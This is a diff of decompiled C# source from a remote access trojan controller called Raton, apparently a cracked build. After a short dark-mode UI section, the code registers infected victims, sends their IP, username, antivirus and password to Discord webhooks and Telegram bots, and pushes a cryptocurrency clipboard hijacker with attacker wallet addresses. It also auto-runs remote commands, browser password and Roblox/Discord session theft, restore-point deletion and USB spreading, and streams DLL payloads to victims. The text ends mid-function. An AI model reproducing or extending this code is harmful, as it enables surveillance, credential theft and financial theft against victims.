protected override void OnRenderItemBackground(ToolStripItemRenderEventArgs e)
|
||||
{
|
||||
base.OnRenderItemBackground(e);
|
||||
if (!(e.Item is ToolStripComboBox))
|
||||
return;
|
||||
Rectangle rect = new Rectangle(Point.Empty, e.Item.Size);
|
||||
e.Graphics.DrawRectangle(new Pen(this.MyColors.ControlLight, 1f), rect);
|
||||
}
|
||||
|
||||
protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e)
|
||||
{
|
||||
Graphics graphics = e.Graphics;
|
||||
Rectangle rect = new Rectangle(Point.Empty, e.Item.Size);
|
||||
Color color1 = this.MyColors.Background;
|
||||
Color color2 = this.MyColors.Background;
|
||||
bool flag = false;
|
||||
ToolStripItem toolStripItem = e.Item;
|
||||
if (toolStripItem.Pressed)
|
||||
{
|
||||
color1 = this.MyColors.Control;
|
||||
color2 = this.MyColors.Control;
|
||||
flag = true;
|
||||
}
|
||||
else if (toolStripItem.Selected)
|
||||
{
|
||||
color1 = this.MyColors.Accent;
|
||||
color2 = this.MyColors.Accent;
|
||||
flag = true;
|
||||
}
|
||||
if (!flag)
|
||||
return;
|
||||
using (Brush brush = (Brush) new LinearGradientBrush(rect, color1, color2, LinearGradientMode.Vertical))
|
||||
graphics.FillRectangle(brush, rect);
|
||||
}
|
||||
|
||||
protected override void OnRenderItemImage(ToolStripItemImageRenderEventArgs e)
|
||||
{
|
||||
if (e.Item.GetType().FullName == "System.Windows.Forms.MdiControlStrip+ControlBoxMenuItem")
|
||||
{
|
||||
using (Image color = DarkModeCS.ChangeToColor(e.Image, e.Item.Enabled ? this.MyColors.TextActive : this.MyColors.SurfaceDark))
|
||||
{
|
||||
e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear;
|
||||
e.Graphics.CompositingQuality = CompositingQuality.AssumeLinear;
|
||||
e.Graphics.SmoothingMode = SmoothingMode.HighQuality;
|
||||
e.Graphics.DrawImage(color, e.ImageRectangle);
|
||||
}
|
||||
}
|
||||
else if (this.ColorizeIcons && e.Image != null)
|
||||
{
|
||||
using (Image color = DarkModeCS.ChangeToColor(e.Image, e.Item.Enabled ? this.MyColors.TextInactive : this.MyColors.SurfaceDark))
|
||||
{
|
||||
e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear;
|
||||
e.Graphics.CompositingQuality = CompositingQuality.HighQuality;
|
||||
e.Graphics.SmoothingMode = SmoothingMode.HighQuality;
|
||||
e.Graphics.DrawImage(color, e.ImageRectangle);
|
||||
}
|
||||
}
|
||||
else
|
||||
base.OnRenderItemImage(e);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.OSThemeColors
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class OSThemeColors
|
||||
{
|
||||
public Color Background { get; set; } = SystemColors.Control;
|
||||
|
||||
public Color BackgroundDark { get; set; } = SystemColors.ControlDark;
|
||||
|
||||
public Color BackgroundLight { get; set; } = SystemColors.ControlLight;
|
||||
|
||||
public Color Surface { get; set; } = SystemColors.ControlLightLight;
|
||||
|
||||
public Color SurfaceDark { get; set; } = SystemColors.ControlLight;
|
||||
|
||||
public Color SurfaceLight { get; set; } = Color.White;
|
||||
|
||||
public Color TextActive { get; set; } = SystemColors.ControlText;
|
||||
|
||||
public Color TextInactive { get; set; } = SystemColors.GrayText;
|
||||
|
||||
public Color TextInAccent { get; set; } = SystemColors.HighlightText;
|
||||
|
||||
public Color Control { get; set; } = SystemColors.ButtonFace;
|
||||
|
||||
public Color ControlDark { get; set; } = SystemColors.ButtonShadow;
|
||||
|
||||
public Color ControlLight { get; set; } = SystemColors.ButtonHighlight;
|
||||
|
||||
public Color Accent { get; set; } = DarkModeCS.GetWindowsAccentColor();
|
||||
|
||||
public Color AccentOpaque { get; set; } = DarkModeCS.GetWindowsAccentOpaqueColor();
|
||||
|
||||
public Color AccentDark => ControlPaint.Dark(this.Accent);
|
||||
|
||||
public Color AccentLight => ControlPaint.Light(this.Accent);
|
||||
|
||||
public Color Primary { get; set; } = SystemColors.Highlight;
|
||||
|
||||
public Color PrimaryDark => ControlPaint.Dark(this.Primary);
|
||||
|
||||
public Color PrimaryLight => ControlPaint.Light(this.Primary);
|
||||
|
||||
public Color Secondary { get; set; } = SystemColors.HotTrack;
|
||||
|
||||
public Color SecondaryDark => ControlPaint.Dark(this.Secondary);
|
||||
|
||||
public Color SecondaryLight => ControlPaint.Light(this.Secondary);
|
||||
}
|
||||
@@ -0,0 +1,521 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HandleClient
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using GMap.NET;
|
||||
using GMap.NET.WindowsPresentation;
|
||||
using Microsoft.CSharp.RuntimeBinder;
|
||||
using Newtonsoft.Json;
|
||||
using Newtonsoft.Json.Linq;
|
||||
using Raton.Classes;
|
||||
using Raton.Windows;
|
||||
using RatonBack;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Linq.Expressions;
|
||||
using System.Net;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows;
|
||||
using System.Windows.Media;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Shapes;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
internal class HandleClient
|
||||
{
|
||||
private static HandleClient.UserConfig userConfig;
|
||||
|
||||
private static void LoadConfig()
|
||||
{
|
||||
string path = System.IO.Path.Combine(MainWindow.appData, "userData.json");
|
||||
if (System.IO.File.Exists(path))
|
||||
{
|
||||
HandleClient.userConfig = JsonConvert.DeserializeObject<HandleClient.UserConfig>(System.IO.File.ReadAllText(path)) ?? new HandleClient.UserConfig();
|
||||
if (HandleClient.userConfig.webhook == null)
|
||||
HandleClient.userConfig.webhook = "false";
|
||||
if (HandleClient.userConfig.Notifications == null)
|
||||
HandleClient.userConfig.Notifications = "true";
|
||||
System.IO.File.WriteAllText(path, JsonConvert.SerializeObject((object) HandleClient.userConfig, Formatting.Indented));
|
||||
}
|
||||
else
|
||||
{
|
||||
HandleClient.userConfig = new HandleClient.UserConfig();
|
||||
System.IO.File.WriteAllText(path, JsonConvert.SerializeObject((object) HandleClient.userConfig, Formatting.Indented));
|
||||
}
|
||||
}
|
||||
|
||||
private async Task SendWebhook(
|
||||
string uid,
|
||||
string ip,
|
||||
string username,
|
||||
string machine,
|
||||
string os,
|
||||
string group,
|
||||
string country,
|
||||
string ex,
|
||||
string av,
|
||||
string pass,
|
||||
string version,
|
||||
string clock,
|
||||
string payloadClient)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(HandleClient.userConfig.URL))
|
||||
return;
|
||||
if (pass.Length < 1)
|
||||
pass = "No client password";
|
||||
string content = $"{{\"content\":\"@everyone\",\"embeds\":[{{\"title\":\"New client\",\"color\":6824314,\"description\":\"\uD83C\uDF0D **Country:** {country}\\n\uD83C\uDF10 **IP:** {ip}\\n\uD83D\uDC64 **Username:** {username}\\n\uD83D\uDDA5️ **Machine:** {machine}\\n\uD83D\uDCBB **OS:** {os}\\n\uD83D\uDC65 **Group:** {group}\\n▶️ **Executing:** {ex}\\n\uD83D\uDEE1️ **Antivirus:** {av}\\n\uD83D\uDD11 **Pass:** {pass}\\n\uD83E\uDDE9 **Version:** {version}\\n⏰ **Clock:** {clock}\\n\uD83D\uDCE6 **Payload:** {payloadClient}\\n\uD83C\uDD94 **ID:** {uid}\"}}]}}";
|
||||
using (HttpClient http = new HttpClient())
|
||||
{
|
||||
HttpResponseMessage httpResponseMessage = await http.PostAsync(HandleClient.userConfig.URL, (HttpContent) new StringContent(content, Encoding.UTF8, "application/json"));
|
||||
}
|
||||
}
|
||||
|
||||
private async Task SendTelegram(
|
||||
string uid,
|
||||
string ip,
|
||||
string username,
|
||||
string machine,
|
||||
string os,
|
||||
string group,
|
||||
string country,
|
||||
string ex,
|
||||
string av,
|
||||
string pass,
|
||||
string version,
|
||||
string clock,
|
||||
string payloadClient)
|
||||
{
|
||||
string path = System.IO.Path.Combine(MainWindow.appData, "telegram.json");
|
||||
if (!System.IO.File.Exists(path))
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
JObject json = JObject.Parse(System.IO.File.ReadAllText(path));
|
||||
if (json["Enabled"] == null || !(bool)json["Enabled"])
|
||||
return;
|
||||
|
||||
string token = json["Token"]?.ToString();
|
||||
string chatId = json["ChatId"]?.ToString();
|
||||
|
||||
if (string.IsNullOrEmpty(token) || string.IsNullOrEmpty(chatId))
|
||||
return;
|
||||
|
||||
string str3 = $"\uD83D\uDDA5️ New client\n\n\uD83C\uDF0D Country: {country}\n\uD83C\uDF10 IP: {ip}\n\uD83D\uDC64 Username: {username}\n\uD83D\uDDA5️ Machine: {machine}\n\uD83D\uDCBB OS: {os}\n\uD83D\uDC65 Group: {group}\n▶️ Executing: {ex}\n\uD83D\uDEE1️ Antivirus: {av}\n\uD83D\uDD11 Pass: {pass}\n\uD83E\uDDE9 Version: {version}\n⏰ Clock: {clock}\n\uD83D\uDCE6 Payload: {payloadClient}\n\uD83C\uDD94 ID: {uid}";
|
||||
using (HttpClient http = new HttpClient())
|
||||
{
|
||||
HttpResponseMessage httpResponseMessage = await http.PostAsync($"https://api.telegram.org/bot{token}/sendMessage", (HttpContent) new StringContent(JsonConvert.SerializeObject((object) new
|
||||
{
|
||||
chat_id = chatId,
|
||||
text = str3
|
||||
}), Encoding.UTF8, "application/json"));
|
||||
}
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
MainWindow.form2?.AddErrorLog((object) ("SendTelegram error: " + ex2.Message));
|
||||
}
|
||||
}
|
||||
|
||||
private async Task LoadCoordinatesAsync(string country, string uid, string username)
|
||||
{
|
||||
try
|
||||
{
|
||||
(double, double)? coords = await CountryLocation.GetCapitalCoordinatesAsync(country);
|
||||
MainWindow.form2.Dispatcher.Invoke((Action) (() =>
|
||||
{
|
||||
if (coords.HasValue)
|
||||
MainWindow.form2.AddMarker(new GMapMarker(new PointLatLng(coords.Value.Item1, coords.Value.Item2))
|
||||
{
|
||||
Shape = (UIElement) new Ellipse()
|
||||
{
|
||||
Width = 20.0,
|
||||
Height = 20.0,
|
||||
Fill = (Brush) Brushes.Red,
|
||||
Stroke = (Brush) Brushes.White,
|
||||
StrokeThickness = 2.0,
|
||||
ToolTip = (object) $"{username} is from {country}"
|
||||
}
|
||||
});
|
||||
else
|
||||
MainWindow.form2.AddErrorLog((object) "Couldn't add client to world map — coordinates unknown");
|
||||
}));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private BitmapImage GetCountryFlag(string countryName)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
string address = JArray.Parse(webClient.DownloadString("https://restcountries.com/v3.1/name/" + countryName))[0][(object) "flags"][(object) "png"].ToString();
|
||||
byte[] buffer = webClient.DownloadData(address);
|
||||
BitmapImage countryFlag = new BitmapImage();
|
||||
countryFlag.BeginInit();
|
||||
countryFlag.CacheOption = BitmapCacheOption.OnLoad;
|
||||
countryFlag.StreamSource = (Stream) new MemoryStream(buffer);
|
||||
countryFlag.DecodePixelWidth = 32 /*0x20*/;
|
||||
countryFlag.DecodePixelHeight = 32 /*0x20*/;
|
||||
countryFlag.EndInit();
|
||||
countryFlag.Freeze();
|
||||
return countryFlag;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (BitmapImage) null;
|
||||
}
|
||||
}
|
||||
|
||||
public HandleClient(SillyClient client, Unpack unpack)
|
||||
{
|
||||
HandleClient handleClient = this;
|
||||
try
|
||||
{
|
||||
HandleClient.LoadConfig();
|
||||
string uid = unpack.GetAsString("UID");
|
||||
string ip = unpack.GetAsString("IP");
|
||||
string username = unpack.GetAsString("Username");
|
||||
string machine = unpack.GetAsString("Machine");
|
||||
string os = unpack.GetAsString("Os");
|
||||
string group = unpack.GetAsString("Group");
|
||||
string country = unpack.GetAsString("Country");
|
||||
string ex = unpack.GetAsString("Executing");
|
||||
string av = unpack.GetAsString("AV");
|
||||
string pass = unpack.GetAsString("Pass");
|
||||
string version = unpack.GetAsString("Version");
|
||||
string clock = unpack.GetAsString("Clock");
|
||||
string payload = unpack.GetAsString("Payload");
|
||||
if (uid.Length > 15)
|
||||
return;
|
||||
this.LoadCoordinatesAsync(country, uid, username);
|
||||
MainWindow.form2.Dispatcher.Invoke((Action) (() =>
|
||||
{
|
||||
MainWindow win = MainWindow.form2;
|
||||
if (handleClient.IsBlockedIP(ip, username))
|
||||
{
|
||||
client.Disconnect();
|
||||
win.AddErrorLog((object) $"Blocked IP/user detected ({ip} | {username}) — disconnecting");
|
||||
HandleClient.UpdateStats();
|
||||
}
|
||||
else
|
||||
{
|
||||
ClientRow existing = win.ClientsGrid.Items.OfType<ClientRow>().FirstOrDefault<ClientRow>((Func<ClientRow, bool>) (r => string.Equals(r.ID, uid, StringComparison.OrdinalIgnoreCase) || string.Equals(r.Client, ip, StringComparison.OrdinalIgnoreCase)));
|
||||
if (existing != null)
|
||||
{
|
||||
client.uid = uid;
|
||||
client.password = pass;
|
||||
client.ClientModel = existing;
|
||||
win.Dispatcher.Invoke((Action) (() =>
|
||||
{
|
||||
existing.Client = ip;
|
||||
existing.Tag = group;
|
||||
existing.User = $"{username}@{machine}";
|
||||
existing.OS = os;
|
||||
existing.Version = version;
|
||||
existing.Running = ex;
|
||||
existing.AV = av;
|
||||
existing.Status = "Connected";
|
||||
existing.Date = clock;
|
||||
existing.Payload = payload;
|
||||
existing.Country = country;
|
||||
win.ClientsGrid.Items.Refresh();
|
||||
}));
|
||||
string str1 = System.IO.Path.Combine(MainWindow.ClientsFolder, ip);
|
||||
string str2 = System.IO.Path.Combine(MainWindow.ClientsFolder, uid);
|
||||
if (Directory.Exists(str1) && !Directory.Exists(str2))
|
||||
Directory.Move(str1, str2);
|
||||
else if (!Directory.Exists(str2))
|
||||
Directory.CreateDirectory(str2);
|
||||
win.AddSuccessLog((object) $"Client reconnected ({ip}) • ID: {uid}");
|
||||
HandleClient.Notify(win, ip, $"{username} is back again!\nID: {uid} (Reconnected)");
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
BitmapImage flag = handleClient.GetCountryFlag(country);
|
||||
win.Dispatcher.Invoke((Action) (() =>
|
||||
{
|
||||
existing.Flag = flag;
|
||||
win.ClientsGrid.Items.Refresh();
|
||||
}));
|
||||
}));
|
||||
}
|
||||
else
|
||||
{
|
||||
ClientRow row = new ClientRow()
|
||||
{
|
||||
Client = ip,
|
||||
Tag = group,
|
||||
User = $"{username}@{machine}",
|
||||
ID = uid,
|
||||
OS = os,
|
||||
Version = version,
|
||||
Running = ex,
|
||||
AV = av,
|
||||
Status = "Connected",
|
||||
Date = clock,
|
||||
Payload = payload,
|
||||
Country = country,
|
||||
Flag = (BitmapImage) null
|
||||
};
|
||||
client.uid = uid;
|
||||
client.password = pass;
|
||||
client.ClientModel = row;
|
||||
win.Clients.Add(row);
|
||||
string path = System.IO.Path.Combine(MainWindow.ClientsFolder, uid);
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
Directory.CreateDirectory(path);
|
||||
win.AddSuccessLog((object) $"New client connected ({ip}) • Folder created");
|
||||
}
|
||||
else
|
||||
win.AddSuccessLog((object) $"Welcome back, @{win.user}. Client ({ip}) reconnected — payload: {payload}");
|
||||
HandleClient.Notify(win, ip, $"New session with {username}\nID: {uid}");
|
||||
HandleClient.RunAutoTasks(client, username);
|
||||
if (HandleClient.userConfig.webhook == "true")
|
||||
Task.Run((Func<Task>) (() => handleClient.SendWebhook(uid, ip, username, machine, os, group, country, ex, av, pass, version, clock, payload)));
|
||||
Task.Run((Func<Task>) (() => handleClient.SendTelegram(uid, ip, username, machine, os, group, country, ex, av, pass, version, clock, payload)));
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
BitmapImage flag = handleClient.GetCountryFlag(country);
|
||||
win.Dispatcher.Invoke((Action) (() =>
|
||||
{
|
||||
row.Flag = flag;
|
||||
win.ClientsGrid.Items.Refresh();
|
||||
}));
|
||||
}));
|
||||
}
|
||||
if (win.isClipping)
|
||||
HandleClient.SendClipperToClient(client);
|
||||
string str = TagStorage.Get(client.ClientModel.Client);
|
||||
if (str != null)
|
||||
client.ClientModel.Tag = str;
|
||||
HandleClient.UpdateStats();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Ping");
|
||||
client.Send(pack.Pacc());
|
||||
}
|
||||
}));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MainWindow.form2?.AddErrorLog((object) ("HandleClient exception: " + ex.Message));
|
||||
}
|
||||
}
|
||||
|
||||
private static async Task<string> UpdateStats()
|
||||
{
|
||||
MainWindow form2 = MainWindow.form2;
|
||||
if (form2 == null)
|
||||
return (string) null;
|
||||
int num1 = form2.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Connected"));
|
||||
int num2 = form2.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Disconnected"));
|
||||
int count = form2.Clients.Count;
|
||||
form2.StatOnline.Text = num1.ToString();
|
||||
form2.StatOffline.Text = num2.ToString();
|
||||
form2.StatRate.Text = count > 0 ? $"{(double) num1 / (double) count * 100.0:0.0}%" : "0.0%";
|
||||
if (Directory.Exists(MainWindow.ClientsFolder))
|
||||
form2.StatFolders.Text = Directory.GetDirectories(MainWindow.ClientsFolder).Length.ToString();
|
||||
(bool, string) valueTuple = await BackendClient.CheckDevice(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId());
|
||||
if (valueTuple.Item1)
|
||||
{
|
||||
int num3 = (int) MessageBox.Show(valueTuple.Item2);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
return "ok";
|
||||
}
|
||||
|
||||
private static void Notify(MainWindow win, string title, string body)
|
||||
{
|
||||
Notification.Show($"{title}\n{body}", "\uE77B", new Color?(Color.FromRgb((byte) 76, (byte) 175, (byte) 80 /*0x50*/)));
|
||||
}
|
||||
|
||||
private static void SendClipperToClient(SillyClient client)
|
||||
{
|
||||
Program.formClip.clients.Add(client);
|
||||
Program.formClip.Text = $"Clipper activated on {Program.formClip.clients.Count.ToString()} clients";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Clipper");
|
||||
pack.SetString("BTC", Program.formClip.btc);
|
||||
pack.SetString("ETH", Program.formClip.eth);
|
||||
pack.SetString("LTC", Program.formClip.ltc);
|
||||
pack.SetString("XMR", Program.formClip.xmr);
|
||||
pack.SetString("SOLANA", Program.formClip.solana);
|
||||
client.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private static async void RunAutoTasks(SillyClient client, string username)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = System.IO.Path.Combine(MainWindow.appData, "tasks.json");
|
||||
if (!System.IO.File.Exists(path))
|
||||
return;
|
||||
List<HandleClient.TaskEntry> taskEntryList = JsonConvert.DeserializeObject<List<HandleClient.TaskEntry>>(System.IO.File.ReadAllText(path));
|
||||
if (taskEntryList == null || taskEntryList.Count == 0)
|
||||
return;
|
||||
MainWindow form2 = MainWindow.form2;
|
||||
foreach (HandleClient.TaskEntry taskEntry in taskEntryList)
|
||||
{
|
||||
string lowerInvariant = taskEntry.Name?.ToLowerInvariant();
|
||||
if (!string.IsNullOrWhiteSpace(lowerInvariant))
|
||||
{
|
||||
if (lowerInvariant.StartsWith("execute"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "CommandPrompt");
|
||||
pack.SetString("Command", taskEntry.Value ?? string.Empty);
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Command prompt task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("browser"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "GetPassword");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Password recovery task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("firefox"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Firefox");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Firefox recovery task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("roblox"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Roblox");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Roblox sessions task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("screamer"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Screamer");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Screamer task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("discord"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Discord");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Discord task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("save"))
|
||||
{
|
||||
form2.isScreensStarted = true;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "GetScreen");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) (username + "'s screen saved in the screens tab"));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("minecraft"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Minecraft");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Minecraft task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("delete"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Restore");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Delete restore points task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("prevent"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Sleep");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("Prevent sleep task executed on " + username));
|
||||
}
|
||||
else if (lowerInvariant.StartsWith("usb"))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "USB");
|
||||
client.Send(pack.Pacc());
|
||||
form2.AddSuccessLog((object) ("USB spread task executed on " + username));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MainWindow.form2?.AddErrorLog((object) ("RunAutoTasks error: " + ex.Message));
|
||||
}
|
||||
}
|
||||
|
||||
private bool IsBlockedIP(string ip, string user)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = System.IO.Path.Combine(MainWindow.appData, "blocked.json");
|
||||
if (!System.IO.File.Exists(path))
|
||||
return false;
|
||||
HandleClient.BlockedList blockedList = JsonConvert.DeserializeObject<HandleClient.BlockedList>(System.IO.File.ReadAllText(path));
|
||||
int num;
|
||||
if (blockedList == null)
|
||||
{
|
||||
num = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
List<string> ip1 = blockedList.IP;
|
||||
bool? nullable = ip1 != null ? new bool?(ip1.Any<string>((Func<string, bool>) (x => string.Equals(x?.Trim(), ip?.Trim(), StringComparison.OrdinalIgnoreCase) || string.Equals(x?.Trim(), user?.Trim(), StringComparison.OrdinalIgnoreCase)))) : new bool?();
|
||||
bool flag = true;
|
||||
num = nullable.GetValueOrDefault() == flag & nullable.HasValue ? 1 : 0;
|
||||
}
|
||||
return num != 0;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MainWindow.form2?.AddErrorLog((object) ("Error reading blocked.json: " + ex.Message));
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public bool isClient(string uid)
|
||||
{
|
||||
MainWindow form2 = MainWindow.form2;
|
||||
return form2 != null && form2.Clients.Any<ClientRow>((Func<ClientRow, bool>) (r => r.ID == uid));
|
||||
}
|
||||
|
||||
private class BlockedList
|
||||
{
|
||||
public List<string> IP { get; set; } = new List<string>();
|
||||
}
|
||||
|
||||
private class UserConfig
|
||||
{
|
||||
public string darkMode { get; set; } = "true";
|
||||
|
||||
public string webhook { get; set; } = "false";
|
||||
|
||||
public string URL { get; set; } = string.Empty;
|
||||
|
||||
public string Notifications { get; set; } = "true";
|
||||
}
|
||||
|
||||
private class TaskEntry
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Value { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HandlePacket
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Forms;
|
||||
using Raton.Handlers;
|
||||
using Raton.Windows;
|
||||
using RatonRAT.Handlers.FileTransfer;
|
||||
using Server.Connection;
|
||||
using Server.Handlers;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
public class HandlePacket
|
||||
{
|
||||
private const int CHUNK_SIZE = 524288 /*0x080000*/;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public byte[] packet { get; set; }
|
||||
|
||||
private string ComputeSha256(byte[] data)
|
||||
{
|
||||
using (SHA256 shA256 = SHA256.Create())
|
||||
return BitConverter.ToString(shA256.ComputeHash(data)).Replace("-", "").ToLowerInvariant();
|
||||
}
|
||||
|
||||
private async Task SendChunk(string id, int index)
|
||||
{
|
||||
int sourceIndex = index * 524288 /*0x080000*/;
|
||||
int length = Math.Min(524288 /*0x080000*/, this.SillyClient.DllBytesById[id].Length - sourceIndex);
|
||||
byte[] destinationArray = new byte[length];
|
||||
Array.Copy((Array) this.SillyClient.DllBytesById[id], sourceIndex, (Array) destinationArray, 0, length);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "DLL_CHUNK");
|
||||
pack.SetString("TransferId", id);
|
||||
pack.SetInt("ChunkIndex", index);
|
||||
pack.Set("Data", destinationArray);
|
||||
this.SillyClient.LastChunkSent[id] = DateTime.Now;
|
||||
await this.SillyClient.Send(pack.Pacc()).ConfigureAwait(false);
|
||||
}
|
||||
|
||||
public async Task Run(object state)
|
||||
{
|
||||
if (this.packet == null)
|
||||
return;
|
||||
Unpack meow = new Unpack();
|
||||
meow.Unpacc(this.packet);
|
||||
string transferId;
|
||||
switch (meow.GetAsString("Packet"))
|
||||
{
|
||||
case "Alert":
|
||||
await Program.form2.Dispatcher.InvokeAsync((Action) (() =>
|
||||
{
|
||||
Program.form2.checkLogs();
|
||||
string asString = meow.GetAsString("Message");
|
||||
Program.form2.AddLog((object) asString, (object) System.Drawing.Color.Orange);
|
||||
Notification.Show("Report\n" + asString, "\uE77B", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
break;
|
||||
case "Anydesk":
|
||||
HandleAnydesk handleAnydesk = new HandleAnydesk(this.SillyClient, meow);
|
||||
break;
|
||||
case "Audio":
|
||||
HandleMicrophone handleMicrophone = new HandleMicrophone(this.SillyClient, meow);
|
||||
break;
|
||||
case "ChatMessage":
|
||||
HandleChat handleChat = new HandleChat(this.SillyClient, meow);
|
||||
break;
|
||||
case "Clientinfo":
|
||||
HandleInfo handleInfo = new HandleInfo(this.SillyClient, meow);
|
||||
break;
|
||||
case "Clipboard":
|
||||
HandleClipboard handleClipboard = new HandleClipboard(this.SillyClient, meow);
|
||||
break;
|
||||
case "Crypto":
|
||||
HandleCrypto handleCrypto = new HandleCrypto(this.SillyClient, meow);
|
||||
break;
|
||||
case "DLL":
|
||||
Program.form2.AddSuccessLog((object) meow.GetAsString("DLL"), (object) System.Drawing.Color.LightGreen);
|
||||
break;
|
||||
case "DLLStart":
|
||||
string path = Path.Combine(Path.Combine(Environment.CurrentDirectory, "DONOTDELETE"), "Commands.dll");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Commands.dll not found. Please get a new Builder folder, congrats, you lost a client!", "Building error", icon: MessageBoxIcon.Hand);
|
||||
Notification.Show("Fatal error\nCommands.dll not found. Please get a new Builder folder, congrats, you lost a client", "\uE77B", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 0, (byte) 0)));
|
||||
break;
